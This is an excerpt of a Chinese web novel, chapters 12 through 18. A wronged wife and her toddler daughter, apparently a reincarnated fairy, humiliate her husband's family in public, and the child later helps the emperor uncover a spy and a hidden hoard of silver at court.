杨氏,刚才你不是硬气吗?
今日众目睽睽,你若不出来,便是坐实不孝,我看你还能怎么嘴硬!
到时候,别说乖乖掏银子了,就是哭着求着回府,我也绝不会轻易答应。
这时,杨府大门“吱呀”一声,开了。
杨婉云披着月色纹素缎褙子,发髻一丝不乱。
抱着裹得严严实实的许呦呦,从老太太身上直直垮了过去。
甚至连个眼神都没给他们。
只朝人群微微欠身,声音不高,却字字清晰:
“诸位街坊,今日惊扰大家,是我杨婉云的不是。”
人群瞬间静了下来。
她抬起头,目光平静如水:
“这位坐地哭喊的,是我婆母。这位一言不发的,是我夫君。诸位可知道,他们为何今日上门?”
一个妇人忍不住问:“为啥?”
杨婉云弯了弯唇角,笑意未达眼底。
“因为许家祖坟被雷劈了,需要钱修坟。他们来找我——要钱。”
人群哗然。
“可是,他们都说你不孝不义……”
杨婉云缓缓道:“诸位方才听见婆母说,许家待我十年,好吃好喝,金银首饰由着我。”
随即,她从袖中取出一本厚厚的蓝布账册。
“这是我从娘家带来的嫁妆清单,良田、铺子、嫁妆、首饰等等,应有尽有。”
这时,人群中,有人开始议论。
“三年前,杨氏嫁进许家时的盛状,我到现在还记得。”
“可不是嘛,上百抬啊!”灰衣老者颤声道,“头一抬进了门,最后一抬还在三牌楼呢!”
“里面不少抬杠都压弯了!”妇人拍腿,“那珊瑚树比人还高,满屋子映得红彤彤的!”
“还有那绫罗绸缎,一车接着一车啊……”
人群中起了低低的唏嘘。
“许家当年穷得叮当响,这门亲事攀得……”
话没说完,被人拿胳膊肘顶了回去。
毕竟许大人现在当官,他们可不敢得罪。
杨婉云淡然地从袖口拿出另一份厚厚的账册,让身边的丫鬟打开,举起来展示给众人。
“三年间,给他们买府宅,置产业,修祖坟……陆陆续续,被许家支取八万六千两。”
“这上面,都有许振山的印章。”
人群彻底安静了。
“方才婆母说的‘好吃好喝’,是我用嫁妆银子,养着许府上上下下七十口人。”
“几日前,我女儿,被人推下假山,磕在石头上——”
她轻轻将怀里的呦呦转过来。
小姑娘额头上,那块狰狞的痂还未脱落,在灯笼下触目惊心。
“还被扔进枯井里……”
“冻了一夜,烧了一夜,我跪着求他这个当爹的。”
她看向许振山。
“求他找一找女儿。他说——”
杨婉云学着他的语气,漫不经心:
“‘许是她自己贪玩,躲哪儿玩去了,大惊小怪什么。’”
许振山脸色惨白,嘴唇止不住地哆嗦。
就在这时,一直趴在娘亲肩头的许呦呦,忽然抬起头。
睁着无辜的大眼,小嘴一瘪,眼泪说来就来。
“呜呜……爹爹坏……井里黑黑……呦呦怕……”
她伸出小胖手,笨拙地捂住额头,可怜兮兮地往娘亲怀里缩。
“呦呦……扔井里……痛痛”……
演戏嘛,谁不会?
想当年,她把蟠桃园里的所有桃子,啃了个精光。
若不是泪泡足够多,她不得将搓衣板跪穿啊!
第13章 无德之家,不予诊治
众人一看,这么精致漂亮的奶娃娃,竟然被亲爹如此虐待。
简直丧心病狂啊!
人群瞬间像烧开的滚水,彻底炸了。
“什么?一岁半的孩子!扔枯井里?”
“这还是亲爹吗?简直是畜生。”
“八万多两嫁妆银子养着全家,到头来女儿被扔井里,当爹的不管不问——现在还有脸上门要钱修祖坟?”
那个方才最大声骂杨婉云“不孝”的妇人,猛地转身,指着许振山的鼻子:
“呸!渣男,你还有脸站在这儿?”
“真是穷疯了,竟然占用夫人嫁妆,还软饭硬吃,什么玩意!”
许振山踉跄后退,撞在门框上,发丝散落,狼狈不堪,“我、我……”
“报应啊!”遛鸟的老头儿把鸟笼往地上一顿,“祖坟被雷劈?呸!那是老天爷都看不下去了,劈给你们这帮不肖子孙看的!”
“呸!为老不尊!纵着儿子宠妾灭妻,还在这儿装可怜骗街坊!”
老夫人还坐在地上,却再也嚎不出来了。
她张着嘴,脸上一阵青一阵白。
方才那些为她帮腔的话语,此刻全变成了刀子,扎得她千疮百孔。
不知谁从菜摊上抓起一把烂菜叶,兜头砸在许振山脸上。
“呸!”
“不要脸的畜生!”
“砸死他!”
紧接着,臭鸡蛋、小石子、臭垃圾……
扔得漫天飞舞。
烂白菜帮子挂在他散乱的发丝上,烂菜叶贴着他惨白的脸。
许振山抬手去挡,气得浑身发抖:“我、我是朝廷命官……你们……放肆……”
“朝廷命官?”卖肉的屠户一刀砍在案板上,横眉立目,“八万两银子买的官,你还有脸提!”
一枚臭鸡蛋飞过来,正中他额心。
蛋壳碎裂,黏稠的蛋液顺着眉骨往下淌,简直臭气熏天。
许清烟被人推搡到边上,发髻散了,衣服乱了,眼泪糊了一脸。
她满眼愤恨地朝着杨婉云冲了过去。
“啊——!”
一声尖叫,人群蓦地一静。
只见许清烟整个人僵在墙角,脖子往后仰,仰到一个几乎要折断的角度。
她浑身抽搐,手指蜷成鸡爪,死死揪住自己的衣襟,脸涨成青紫色,嘴角溢出白沫。
“烟儿!烟儿!”老夫人从地上连滚带爬扑过去,抱住女儿的头,却抱不住那剧烈痉挛的身体。
许清烟的额头一下一下磕在青石板上,磕出血来,她还在抽,按都按不住。
“神医……快去请神医!”老夫人转头,冲着许振山嘶吼。
他怔愣在原地,脸上还挂着蛋液。
“去啊——!”
许振山踉跄奔出巷口。
这里离神医的福安堂,倒是很近,只有百米之遥。
一炷香后,他被人从清安堂正门轰了出来。
“刘神医说……”药僮顿了顿,声音不高不低,恰好让跟来看热闹的人听个一清二楚。
“无德之家,不予诊治。”
许振山心头巨颤,脸红到耳根。
他想起三年前,腊月里许清烟头一回发病,杨婉云挺着五个月的肚子,冒雪亲自去清安堂请求。
刘神医本已封诊过年,却被她说动,连夜过府施针。
此后更是每月复诊。
冬虫夏草、人参鹿茸,流水似地从杨婉云那里淌出去,从没一日间断。
而这些,当时只当是她作为嫂子应尽的本分。
“神医还说了,”药童拿出手里的账单,“贵府以往在福安堂的药资上花费不下三千两,以往都是夫人结清,今年的,共四千两,麻烦结清!”
许振山眼前一黑,身形晃了晃。
“四……四千两?”
他羞愤难当,牙齿都在打战:“我……我改日再来结清。”
“福安堂不赊无德之人的账!”
就见两个小厮架起他两臂,像扔破布袋一般,将他扔出门外。
许振山跌趴在青石地上,掌心擦出血痕。
身后,清安堂的黑漆大门“砰”地阖上,震得檐下积雪簌簌落了他一脖颈。
他踉踉跄跄地回到杨府门口。
围观地看他的目光像看一条野狗。
他身后,许清烟的惨叫声忽然弱了下去,显然是力竭。
老夫人抱着女儿软下去的身子,浑身发抖,张着嘴,喉咙里嗬嗬作响,却一个字也吐不出来。
“母亲,神医他……他不肯来……”
老夫人一听,只觉胸口猛然一窒,眼前发黑,直挺挺向后倒去。
“娘……娘,你怎么啦?”
许振山跪绝望地在青石板地上,左右各抱着一个昏过去的女人。
他忽然想起李莲茵。
回头四顾,人群熙攘,早已没有她的影子。
她,她什么时候跑的?
他竟不知道。
杨婉云抱着女儿,静静看着这一切。
许振山心头猛然一缩。
他终于知道,自己今日来这一趟,从头到尾,都是个笑话。
“杨婉云,”他声音干涩如砂纸,“你到底……”
“许振山。”
杨婉云打断他,“自作孽,不可活。”
“你家祖坟被劈,就是报应不爽吧!”
“至于你们,自有天断!!”
说罢,大门“砰”一声,在许振山面前沉沉关上。
“唉,造孽啊,许振山,杨氏多好的媳妇啊!你偏偏就……”六叔公扶着拐杖气得直跺脚。
当初,许振山将杨婉云带回老宅,风光无限。
这媳妇人傻钱多,不仅是修缮祖坟,还将老宅里里外外修葺个遍,甚至还为他们购置了百亩良田。
族中人人艳羡,无不夸赞。
现在好了,一切都被他作死了……
“我不管你与杨氏如何,这修缮祖坟的钱,就得你出,当初可是全族的人,托举你上京赶考,替你照顾老母。”
“现下,就是你回馈祖宗的时候!”
“两日后,回宗祠,修葺祖坟。”六叔公丝毫不客气,拂袖而走。
许振山眼神涣散,怔怔地望着怀里的母亲和妹妹。
而六叔公走路时,那“咚咚”的拐杖声,戳得他脊梁骨生疼。
第14章 我不该疑你
许振山抱着昏死的母亲和妹妹,踉踉跄跄上了马车。
满头满脸的污渍,他甚至不敢抬手去擦——怕自己生生呕出来。
车轮辚辚碾过青石巷,他掀开帘子,最后看了一眼杨府大门。
三年前。
他就是从这道门,把杨婉云接走的。
彼时,他骑马,意气风发,回头望花轿里的新妇,只觉天下再没有比他更得意的人。
如今,他坐破车,狼狈如丧家之犬,那道门却再不会为他开了。
罢了罢了!
杨婉云定是还在为呦呦的事,与他生气呢。
曾经她爱惨了他,怎么可能会如此绝情?
等她气消了,再来哄回去便是。
这么一想,许振山又重拾信心,甚至觉得有了盼头。
马车刚到许府门口。
院子里便奔出一个慌张的身影,珠钗微乱,裙角沾泥。
“老爷!”李莲茵哭哭啼啼扑上来。
一把攥住他衣袖,眼眶红透,声音哽咽:“您可算回来了!妾身一直等在这里,怕老爷难过……”
许振山丝毫没理她,只吩咐人去请大夫,再将老妇人和许轻烟送回院子。
“老爷,您这是生妾身的气了嘛?”李莲茵强忍着要掉不掉的泪水,拉了拉许振山的衣袖。
许振山这才仔细看着她。
她脸上泪痕连连,额头红肿,身上的衣裙污渍连片,也是狼狈不堪。
他想起人群里回头张望,却遍寻不见时的心灰意冷。
“你方才……”他嗓音嘶哑,“怎么先走了?”
李莲茵的眼泪,登时滚了下来。
“老爷以为妾身是贪生怕死,撇下您跑了么?”她哽咽得几乎说不出话来,十分委屈。
“我、我见那群人疯了似的砸东西,想起伯府离杨府不过两条街,便想着趁着慌乱跑回去求父亲……”
她攥着他衣袖的手越发紧了,指节泛白。
“可是,父亲他……他毫不留情地把我赶出来了。”
泪珠子断了线似的往下坠,砸在许振山手背上。
“他说我是许家妾,丢尽了伯府的脸,不配踏进伯府的门。”
“我跪在雪地里磕头,额头都磕破了,他只让管家泼了一盆冷水出来,叫我滚回许家好好做妾,别给他惹祸上身……”
“老爷……”她抬起泪汪汪的眼,还频频自责,“都怪妾身没用,没帮不上您。”
“可妾身实在是心疼您啊,您一个人扛着整个许家,杨氏那样绝情,族里又那样逼迫,外头人还那样骂您……”
“可妾身什么都做不了,只能在这儿等着,至少让在您回来时,门口有人守望,屋里有盏热茶……”
她哭得说不出话了。
许振山的心,像被人狠狠攥了一把。
他方才竟还疑心她。
竟觉得她也无情无义地抛下他,跑了。
而她却是顶着伤,跪在雪地里替他去求人,被人羞辱,又被人像赶狗一样赶出来,只因为心疼他。
“莲茵……”
他一把将她揽进怀里,下巴抵着她发顶,喉头哽得生疼,心里又愧疚的要死。
“对不起,”他声音发颤,“我不该怀疑你。”
李莲茵伏在他肩头,哭得更凶了。
“老爷,别说这话……您心里有妾身就够了,旁的妾身都不在乎……”
许振山闭眼。
杨婉云嫁他三年,他从没在她面前这样失态过。
不是不想,是毫无反应。
她太静了。
静得像一潭深水,他往里头扔什么,都溅不起水花。
他摔茶盏,她收拾;他拿嫁妆,她记账;他纳妾,她点头。
他以为她不会疼。
可李莲茵不一样。
她会哭,会闹,会扑进他怀里说心疼他,会让他觉得自己像个男人。
想到此,他将李莲茵搂得更紧了。
“老爷,”李莲茵从他怀里抬起头,泪痕未干,声音温婉,“族里逼您出修祖坟的钱,福安堂那边又催账……这可怎么办呀?”
许振山松开她,疲惫地揉了揉眉心。
“我去凑。”
“怎么凑?咱们府里……”她咬唇,没说下去。
许府早就是个空壳子了。
这些年进得少、出的多,账上能动的银子,大半是从杨婉云那里来的。
如今她走了,哪里还有冤大头来给府里出钱。
而许振山又被罚俸贬官,府里更是雪上加霜。
许振山沉默片刻。
“你那里,”他看向她,“这些年我给你的银票、首饰,拢一拢,该能凑个几千两。”
李莲茵身子微微一僵。
“先挪来用,就是应急,等日后……”他顿了顿,“日后我手头宽裕了,再给你添补。”
李莲茵垂下眼,绞着帕子没吭声。
“怎么了?”
“没、没什么……”她声音低下去,又抬起眼,怯怯的,“老爷给的,妾身自当拿出来,只是,只是娇娇体弱,得要小心温养,药材都不似寻常药材,妾身怕……”
许振山皱着眉头,心下了然。
确实如此,娇娇自打落水后,身子骨越来越较弱,确实要花银钱进补。
李莲茵却咬着唇,像是下了极大的决心。
“老爷,我有个主意,不知当说不当说。”
“你说。”
“夫人走得急,她那私库……未必全搬空了。”
许振山瞳孔一缩。
“我听下人说,她只带走了细软和要紧的账册,那些大件古玩、绸缎布料、寻常摆件,怕是一时半会儿挪不走的。”
李莲茵觑着他的脸色,声音轻柔,“那些虽是她的嫁妆,她也没和离,这宅子里的物件,又没立契据说全要带走,那就是咱许家的……”
她顿了顿。
“咱们不过是借用几日。等老爷俸禄下来、府里周转开了,再悄悄给她添补回去。她……她又不会日日来查。”
许振山喉头发紧。
那私库……
那价值千金的成堆首饰……
还有那满室红彤彤的珊瑚光……
“老爷,”李莲茵握住他的手,眼眶又红了,“妾身知道您心善,不愿做这样的事。”
“可族里逼得紧,福安堂那边又欠着账,妹妹的病耽误不得,母亲的汤药也断不起……您可是一家之主,总不能看着她们活活熬死呀。”
她的手温热柔软,像一团浸了蜜的棉花。
许振山看着她。
看着她额角的伤,红肿的眼,还有满眼的担忧与心疼。
他喉间滚了滚。
“……今晚。”他听见自己的声音,甚至有点发颤,“入夜后,我……我去开库房。”
第15章 哦买噶,得得……美
翌日清晨。
另一边的杨府。
刘嬷嬷匆匆掀帘而入:“夫人,那边,真动手了。”
杨婉云正靠在软榻上翻账册,闻言指尖一顿。
灯火下,她抬起眼,唇角慢慢弯起一个弧度,“知道了。”
“夫人,咱们不拦着?”
“拦什么?”杨婉云垂下眼,继续翻账册,声音却清冷无比,“他敢伸手,我就敢让他把手留在那儿。”
刘嬷嬷一怔,随即狠狠点头:“老奴这就去盯紧了!”
榻里边,一个毛茸茸的小脑袋从锦被里拱出来。
许呦呦揉着眼睛,奶音还带着困倦的黏糊劲儿:“凉亲……狗屁爹……干嘛?”
“他呀,”杨婉云伸手把女儿捞进怀里,低头亲了亲她额角,“在给自己挖坑呢。”
“哇哦——”
小奶包眼睛瞬间亮了,困意全飞。
“渣男……倒大霉!挖坑坑!埋高高!”
她兴奋地挥着小胖手,在空中比划了一个大大的“坑”。
杨婉云失笑,正要说话,外头又传来通禀声——
“夫人,宫里来人了,说陛下要接小姐进宫。”
杨婉云一听,赶紧将呦呦提溜起来,一通操作后,呦呦坐上了前往皇宫的马车。
马车在宫门前缓缓停稳。
刘嬷嬷刚掀开帘子,还没踏下去,就听见一道尖细的嗓门儿喜不自胜地迎上来:
“哎哟喂——可算来了!可算把小祖宗盼来了!”
御前总管高德全,一品内侍,平日里连朝中一品大员见了都要躬身行礼的人物。
此刻正踮着脚尖、伸着脖子,满脸堆笑地往车辕边凑。
“小姐慢些,老奴扶着您……”
他一边说,一边小心翼翼地把小奶包从马车上接下来,那双手捧着,像捧个稀世珍宝。
身后的几个小太监面面相觑。
他们心中,一向沉稳有决断的高公公,怎么会如此“卑微”?
“蠢货!还不赶紧伺候好小主子”高公公瞪了他们一眼。
只有他知道,自打那日凤仪宫后,陛下回御书房第一句话都是“呦呦那丫头回府了没”。
第二日是:“许振山那蠢货没又作妖吧?”
第三日是:“杨夫人安顿好了没?安顿好了朕就派人去接呦呦。”
第四日、第五日……
今儿一早,陛下早朝都不上了,先把他叫过去:“杨府那边应该差不多了,你亲自去接。”
高公公哪敢怠慢。
日后得小心伺候着——不,得供着!
“小姐,老奴抱您进去?”
许呦呦摇头,小短腿迈开:“窝几己走!”
高公公立刻弯腰,给她开路,把宫道上的小石子儿全踢到一边,生怕硌着这小祖宗的脚底板。
许呦呦仰头看他,奇怪地问道:“公公,泥……泥腿抽筋啦?”
高公公一愣:“没、没,老奴腿好着呢!”
“那泥……为森么走路弯弯的?”
高公公:??????
总不能说——老奴这是怕您摔着,随时准备扑地上给您当肉垫。
他直起腰,轻咳一声:“老奴是见着小姐高兴,腿软。”
许呦呦认真点头:“窝懂,窝见得得的时候,也腿软。”
高公公心说:得,四皇子帅的确实让人腿软。
御书房内。
皇帝正捏着户部的折子,眉心拧成个川字。
“户部又喊缺银子?上个月刚拨了十万两赈灾款,这才几天,又空了?”
四皇子垂首,并未应声。
殿外传来一阵细碎的脚步声,伴着奶声奶气的唱喏:
“皇伯伯——窝来辣!”
皇帝眉心的川字瞬间被熨平。
他搁下朱笔,起身就往殿门口迎,明黄龙袍拖曳在地也顾不上。
“呦呦来了!快让伯伯看看——哎哟,怎么瘦了?是不是许家那起子混账玩意克扣你吃食?”
高公公:@_@
陛下,小姐这脸,肉眼可见的圆了最起码不止一圈啊!
许呦呦被刘嬷嬷放下,迈开小短腿扑腾扑腾跑过去,一把抱住皇帝的龙腿。
“皇伯伯!窝想你!”
皇帝心都要化了。
他弯腰把小家伙捞起来,眉开眼笑:“皇伯伯也想呦呦。”
他抱着她走回御案后,小心翼翼将呦呦放在膝头坐稳。
破折子?不批了。
烂奏本?不看了。
皇帝拿起案上一碟新贡的蜜饯,拈起一颗喂到小奶包嘴边:“尝尝,岭南新进的。”
许呦呦张嘴,“啊呜”一口,腮帮子鼓成小仓鼠。
“好次!”她眯起眼,小脚丫晃啊晃。
皇帝看着她,忽然长长叹了口气。
“哎,许振山那倒霉玩意,怎么有这福气,朕怎么就没生出这么软萌可爱又好看的崽?”
他回想起自己的两个公主,端正得毫无童趣。
一个个跟小木头似的,看着就扫兴。
这时,殿外通禀:“四皇子殿下到——”
萧景瑜一身宝蓝常服,眉眼疏朗,步伐轻快。
自打那日霉运被驱,他整个人像是乌云清散后的艳阳,通身都散发着明媚的光,眉宇间那层挥之不去的郁气散了,本就帅气的脸显得越发耀眼。
虽只有十岁,这通身的气度,完美诠释了生来就是王者。
最重要的是,他现在运势爆棚,好得他自己都不敢置信。
从前出门踩狗屎,如今出门捡银子——连狗都绕道给他让位置。
从前观鱼必翻船,如今垂钓锦鲤跃——自己蹦上船求开光。
从前树下遭雷劈,如今树下落铜钱——根本捡不完。
“儿臣参见父皇——”
他正要行礼,一抬眼,看见父皇膝头那个软乎乎的小团子。
正朝他张开小胖手,眼冒星星:
“哦买噶,得得……美!”
皇帝低头看怀里的小家伙——那双圆溜溜的大眼睛正黏在四皇子脸上,眨都不眨,小嘴微张,蜜饯汁水都快淌下来了。
“……呦呦,”皇帝轻咳一声,“你在看什么?”
“看得得!”许呦呦理直气壮,“得得……好看!比蜜饯……还甜!”
萧景瑜的耳尖微微泛红。
皇帝:╥﹏╥
他忽然不想把儿子叫来议事了。
虽然,他现在处理事务能力超群。
但是,哎……
第16章 她是奸细
皇帝清了清嗓子,将户部尚书那本折子扔给萧景瑜。
“看看,户部又喊缺银子。上个月拨十万两赈灾款,这个月又说库房空了。这钱,都到哪去了?”
萧景瑜接过折子,眉头微蹙:“儿臣也觉蹊跷。今年并无大灾大役,税银收得齐整,不该这般拮据。”
皇帝捏了捏眉心,一脸不耐。
许呦呦正专心啃第二颗蜜饯,闻言忽然抬起头。
“钱钱没跑。”她奶声奶气,“在……洞洞里。”
“那……户部上书,不似好东东!”
她伸出小胖手,在空中画圈圈:
“他有钱钱!好多好多……金灿灿的……堆成山!”
“藏在……藏在……”她皱起小脸努力比画,“后山,洞洞!洞里都似,刺的……眼睛疼。”
萧景瑜心头一跳,俯身蹲下来:“呦呦,你怎么知道?”
许呦呦眨巴眼,理直气壮:“窝看见哒!”
她当然看见了。
那日被推进轮回镜前,她顺手牵羊时往凡间瞄了一眼,正巧看见一座山洞里金光冲天……
她傻傻以为是那是她的宝藏花园……
哼,又是记恨那帮老东西的一天!
现在想起来,那山洞离京城不远,那官运,好像是户部的颜色。
皇帝与萧景瑜对视一眼。
“还有哦!”许呦呦越说越来劲,“那个坏银……也是狗屁爹爹!”
“他也……宠小的,灭大的!”
“他正妻……更坏!生女宝,怕不得宠,就、就掐死!”
小奶包做了个掐的动作,小脸皱成一团。
“骗银说……娃娃被偷了,这样,换来狗东西的……阔怜……”
“后来,她生不出啦……兔子小妾!生一窝一窝的!两鹅两女!”
她伸出两根手指,又觉得不够,再伸出一根。
“四只!”
皇帝和萧景瑜的表情已经凝重得能滴出水来。
“然后呢?”
“然后……”许呦呦歪头,“正妻怕怕,从外头……认了个女鹅,说似……当初丢的辣个。”
她顿了顿,小脸忽然严肃起来。
“辣个女鹅……是坏银!”
“扒似,她不似女鹅!她似……似……”小奶包绞尽脑汁,小脸都快皱成包。
哎!
宝宝说话太难了。
“是什么?”皇帝火急火燎。
“南国……大大滴……坏银!”
萧景瑜瞳孔骤缩,“你是说,奸细?”
“对对对,尖细!”小家伙努力捋直舌头。
皇帝见状,赶紧给她端来温牛乳。
看来,要想办法给呦呦启蒙了!!
只有启蒙到位,才能让她说话畅通无阻!
还在一边喝奶,一无所知的某小只,只觉脑袋上一阵凉飕飕的……
她吨吨吨地喝了几口,这才继续说道。
“她哄,辣个坏银尚书,哄得,转来转去!”
“把泥们的事,记下来,偷偷……送出去!”
“泥……”许呦呦伸出小胖手,一把拍在皇帝的心口,“下个月,泥会干蠢事!”
“有几个银……是大好银,却被用钱钱害,泥犯浑,就把他们都噶了!”
“噶完,泥就后悔,哭鼻子咯……”
御书房里死一般的寂静。
皇帝喉头发紧,一个字都吐不出来。
他想起上个月,太后刚封了户部尚书的女儿为安婕妤。
这位安婕妤,正是户部尚书“早年丢失”的嫡女。
她八面玲珑,温婉可人,深得太后欢心。
若她真是南国间隙……
皇帝不敢想下去。
他低头,看着怀里这个奶声奶气、连话都说不利索的小团子。
她正仰着小脸,无辜地眨巴眼,仿若浑然不知自己方才说了什么惊天动地的话。
皇帝深吸一口气,“瑜儿。”
“儿臣在。”
“带龙虎卫。”皇帝的声音阴沉如水,“京郊后山,搜。”
“是!”萧景瑜领命转身,大步往外走。
走到殿门口,他忽然顿住脚步,回头看了一眼。
那软乎乎的小团子正趴在父皇膝头,小胖手努力够案上的蜜饯碟。
萧景瑜收回视线,掩下心头震动,握紧了腰间的剑。
小家伙晃着小脚丫,忽然想起什么,扭头看皇帝:
“窝帮泥……找到了钱钱,给窝虾米?”
皇帝怔了怔,失笑:“呦呦想要什么?”
小奶包认真想了想,伸出小胖手,比了个“一”。
“窝不贪,只要……一袋铜板板!”
窝又不傻,要金要银,毛用没用,都会被凉亲收掉,凉亲怕窝买糖糖,抠的很!
“铜板?你喜欢?”皇帝憋笑憋到内伤。
许呦呦坚定地点点头!
可怜见的娃,皇伯伯一定给你一车车的铜板!!
这时,殿外传来通禀:
“陛下,娘娘口谕,请呦呦小姐前往凤仪宫。”
皇帝动作一顿。
他低头一看,小娃娃已经将那碟子蜜饯揣进口袋,摇摇摆摆地往门口去了。
皇帝沉默了。
他舍不得放人。
但他更不敢不放人。
……
宫道上,暖阳正好。
许呦呦被刘嬷嬷抱在怀里,手里攥着蜜饯,小脚丫一颠一颠。
她正美滋滋地盘算着待会儿要如何跟皇后娘娘再讨一盘蜜饯,毕竟回家后,就再也吃不了甜滋滋了。
忽然迎面走来一行人。
为首的女子约莫十七八岁,梳着高髻,满头珠翠在日头下晃得人眼晕。
她身着嫣红宫装,腰系金丝八宝璎珞,明艳华丽。
只是那眉眼里压着三分郁色、三分怨气,还有三分——说不上来的阴沉。
宫人们侧身立于道旁,垂首行礼:“见过安婕妤。”
安婕妤此时正郁结于心,一肚子邪火没地儿撒。
她对自己倾城的美色,十分自信。
但是入宫一月,陛下却从不曾召幸。
御花园“偶遇”三次,陛下绕道走了。
雪的献舞一回,陛下一看,阴沉着脸,扭头就走。
御前送汤六趟,高公公全部拒收,
安婕妤站在原地,目光冷冷地扫过来,“你是何人?”
刘嬷嬷将呦呦往怀里拢了拢,垂首行礼:“回安婕妤,奴婢是杨府的管事嬷嬷,奉皇后娘娘口谕,送小姐往凤仪宫觐见。”
“许小姐?”安婕妤微微眯眼,目光落在那团粉糯糯的小人儿身上。
织金小袄,头上的小揪揪都绑着琉璃结,一看就是极富贵。
她的瞳孔微微一缩。
原来这就是那个后宫疯传的,被陛下日日惦念的小崽崽。
哼!一个奶娃娃,竟比她得宠。
第17章 泥……找屎!
安婕妤的指尖掐进掌心。
她上前一步,目光居高临下。
“你见了本宫,为何不请安?”
刘嬷嬷心头一紧,忙道:“婕妤恕罪,小姐年幼,还不通宫规——”
“年幼?”安婕妤打断她,轻笑一声,“她都一岁半了,还如此不懂规矩。”
“是没人教,还是……”她顿了顿,“有人存心教她藐视宫规?”
刘嬷嬷脸色发白,将呦呦紧紧护在怀里。
“泥,要窝,跪泥?”呦呦探出脑袋,圆溜溜的大眼睛直勾勾地盯着安婕妤。
跪你,怕是你祖宗十八代,都承受不起!
“泥……确定?”
安婕妤瞬间火冒三丈,这种被蔑视的感觉,比被陛下绕道走还让她难堪。
“大胆!”她的声音冷下来,“本宫还没见过这般目无尊长,不懂规矩的。”
“来人。”
两名嬷嬷应声上前。
“你们教教许小姐,什么叫规矩。”
刘嬷嬷猛地将呦呦护到身后,厉声道:“安婕妤!这是皇后娘娘亲传的贵客,您无权——”
“无权?”安婕妤笑了,“她一个小小的礼部员外郎之女,本宫教她规矩,也是抬举她了。”
她抬眼,看着刘嬷嬷。
“你是她身边的嬷嬷?主子不懂规矩,是你这奴才没教好。”
“来人,掌嘴。”
一个身强力壮的丫鬟卷起袖子上前,扬起巴掌,对准刘嬷嬷的脸,铆足了劲……
刘嬷嬷紧紧抱着呦呦,死死瞪着安婕妤。
巴掌带着风声落下。
下一瞬。
“啊!!”
丫鬟脚下一个踉跄,整个人往后仰,结结实实摔了个四仰八叉。
那只要打人的手,杵到地面的瞬间,
只听“咔嚓”一声,骨折了!!
接着,后脑勺磕在青石板上,发出好大一声闷响。
安婕妤一僵,“废物!”
“来人,将这主仆二人,抓起来,”
“听说,太液池的水,最是醒脑。”
“那就将她们扔下去,好好醒醒脑,认清自己的身份。”
两个嬷嬷对视一眼,眼中闪过狠色,“是!”
她们一左一右逼近。
刘嬷嬷将呦呦护在怀里,连连后退,“安婕妤!小姐是陛下亲传的人,您不怕陛下怪罪吗!”
安婕妤垂眸看着自己新染的蔻丹,轻轻吹了吹。“怪罪?”
“本宫还是陛下的妃子呢,教一个不懂规矩的小丫头宫规,陛下只会赞赏我教导有方。”
“去,扔下去!”
两个嬷嬷伸手来夺。
刘嬷嬷死死护着呦呦,小家伙小脸憋得通红,好不容易探出头喘口气,小嘴气地鼓鼓囊囊,“泥……找屎!!”
话音刚落。
一道冷冽的女声从身后响起——
“对,安婕妤,你找死!”
皇后快速走过来,一把接过呦呦,满脸心疼和愤怒。
安婕妤脸色惨白,连忙跪倒在地。
“皇后娘娘,臣妾……臣妾只是……”
皇后眼皮都没抬,只是连声哄着怀里的小人儿,“呦呦,告诉姨姨,方才怎么了?”
许呦呦瘪了瘪嘴,努力演绎着情绪。
告状嘛,得有告状的姿态不是!
只见她眼眶一红,小胖手一指:
“她……她凶窝!”
“要窝跪!窝不跪……她骂窝!”
“还、还要……把窝扔湖里……”
她越说越委屈,小身子一抽一抽的。
皇后顿时火冒三丈,看安婕妤的眼神,就像看死人一样。
安婕妤吓得浑身发抖:“娘娘!臣妾只是吓唬她,臣妾没有……”
“吓唬?”皇后重复了一遍这个词。
她弯了弯唇角,笑意未达眼底。
“来人,送安婕妤去太液池……醒醒脑!”
“是!”
两个身强力壮的嬷嬷迅速架起安婕妤,她尖叫挣扎,珠钗散落一地:
“娘娘!娘娘饶命!臣妾是尚书之女,是太后亲封的婕妤……”
“扔下去。”皇后的声音从身后传来,没有丝毫温度。
“扑通——”
太液池的冰水还没化透。
“啊……”
安婕妤落水的瞬间,尖叫声卡在喉咙里,还没来得及喊出声,就只听见咕噜咕噜的水泡声。
她拼命扑腾着……
可周围的宫人,纷纷垂首,无人敢看,也无人敢救。
直到那水泡渐渐弱下去,皇后才淡淡道:“捞上来。”
安婕妤被拖上岸时,发髻散了,唇色青紫,浑身筛糠似的抖。
她伏在地上,气息越来越弱。
“传本宫口谕,”她声音清冷,却字字清晰,“安婕妤御前失仪,禁足永巷宫,无诏不得出。”
“本宫不想再看见她。”
皇后抱着呦呦,面无表情地从安婕妤身边走过去。
凤仪宫中。
皇后抱着呦呦坐在榻边,将案上的点心碟子一样一样往小人儿面前推。
“来,尝尝这个,枣泥酥。”
“这个是云片糕,御膳房新做的,不甜腻。”
“还有这碗牛乳,温温的,正好入口。”
许呦呦小嘴塞得满满当当,腮帮子鼓得像只囤食的小仓鼠。
可她吃着吃着,忽然停下来。
揪住皇后的袖子,仰着小脸认真道:
“姨姨,窝木事,辣个……坏女银,动不了窝的。”
皇后心头一酸,轻轻把她搂进怀里。
这孩子……反过来安慰她。
“姨姨知道。”她低声道,轻轻抚摸着呦呦的小脸,“以后,姨姨绝不会再让人欺负你。”
这时,殿外忽然传来一阵急促的脚步声。
“呦呦妹妹——!”
帘子猛地掀开,萧景珩一阵风似的冲了进来。
他跑得满头是汗,小脸通红,气喘吁吁。
身后跟着的太监一路小跑,“殿下、殿下您慢点儿——”
萧景珩充耳不闻,直奔榻边。
一把抓住许呦呦的小手,上上下下打量她。
“我听说那个坏女人欺负你了!”他急得眼眶都红了,“她打你没有?骂你没有?你有没有伤到哪里?”
许呦呦眨巴眨巴眼,忽然咧嘴笑了,“得得,窝没事!”
哎呀,这小子,蛊毒清完,满面红光,身上还冒着紫气。
萧景珩又仔细看了看她,确认她真的没事,这才狠狠松了口气,“吓死我了,没事就好,没事就好……”
皇后看着儿子这副模样,心里又好笑又感动。
自打蛊毒清除,珩儿的身子一日比一日壮实,这几日竟主动缠着太傅要习武,说是“要练好本事,将来保护呦呦妹妹”。
太傅跟她禀报时,她还觉得好笑。
如今看着儿子这般样子,她只觉得应当如此。
第18章 教她规矩
萧景珩拉着呦呦,忽然想起什么,朝身后喊:
“来人,把我带来的东西拿上来!”
两个小太监抬着个沉甸甸的箱子进来,往地上一放,箱盖打开……
许呦呦的小眼睛,霎时放光了。
哇哦!小弓箭、小木马、布老虎,有成套的泥人儿、会跳的竹青蛙,还有各种花花绿绿的糖果、蜜饯、糕点。
